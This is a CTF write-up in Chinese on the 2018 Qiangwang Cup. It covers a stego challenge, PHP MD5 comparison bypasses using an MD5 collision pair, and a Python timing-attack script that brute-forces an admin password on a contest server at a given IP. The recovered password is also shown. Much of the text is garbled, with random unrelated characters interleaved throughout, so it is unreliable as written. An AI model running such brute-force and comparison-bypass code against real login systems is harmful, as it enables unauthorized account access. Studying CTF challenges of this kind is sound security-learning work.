2018強(qiáng)網(wǎng)杯已經(jīng)過去很久了
剛好再整理一下通過這次比賽的一些個(gè)人收獲
最后感慨侣颂,自己實(shí)在太渣枪孩,要保持勤奮不斷前進(jìn)
0x01 welcome
一道簡單的misc,給出了一張圖片拒担,直接拖到Stegsolve處理
在offset為80和100的時(shí)候可以看到flag
0x02 Web簽到
這題考察PHP的MD5繞過嘹屯,總共有三關(guān)
其中第一關(guān)是0e弱類型比較
第二關(guān)是數(shù)組繞過MD5比較
第三關(guān)無法繞過,只能找到真正的MD5碰撞
關(guān)于MD5碰撞从撼,已經(jīng)有現(xiàn)成的成果可以使用州弟,曾經(jīng)王曉云教授提出過成果
這里使用的碰撞對(duì)是
0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef
和
0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef
還可以使用碰撞對(duì)
在hackbar中通過自帶的hex轉(zhuǎn)char功能進(jìn)行轉(zhuǎn)換,最后post通過
0x03 3pigs
這題一直沒有被人拿下低零,是web+pwn的題目
充滿好奇去嘗試了下婆翔,雖然沒有結(jié)果,但是過程還是記錄一下
訪問題目鏈接后是一個(gè)登錄界面啃奴,嘗試sql注入等,并沒有漏洞點(diǎn)
查看源代碼發(fā)現(xiàn)注釋中提示timing attack雄妥,既時(shí)序攻擊纺腊,于是寫代碼進(jìn)行爆破
時(shí)序攻擊的介紹可以參考
https://www.zhihu.com/question/20156213
大致就是服務(wù)端對(duì)錯(cuò)誤密碼處理的響應(yīng)時(shí)間有細(xì)微差異,假如逐位進(jìn)行密碼驗(yàn)證茎芭,則連續(xù)位數(shù)正確越多的密碼揖膜,服務(wù)器返回時(shí)間越長
這里給出手動(dòng)爆破的python腳本
#coding:utf-8
import requests
url="http://39.107.33.62:31927/login.php"
post={
"team":"icq15f6add5d952d9d8efac6c045970a",
"username":"admin",
"password":""
}
maxtime=0
char=""
for i in range(34,127):
avgtime=0
c = chr(i)
#這里進(jìn)行諸位手動(dòng)爆破
post["password"]="I10ve3P|g"+c+"*"*0
# I10ve3P|g~
response = requests.post(url, data=post)
avgtime = response.elapsed.microseconds
if avgtime > maxtime:
maxtime=avgtime
char = c
print(post["password"]+":"+str(avgtime)+" "+response.text)
if "Failed" not in response.text:
print("success!!")
f=open("success.txt","a")
f.write(post["password"])
f.close()
print(char)
最后得到登錄密碼是
I10ve3P|g~
登錄后進(jìn)入新的頁面
和這幾只豬死磕了很久都沒有思路,最后GG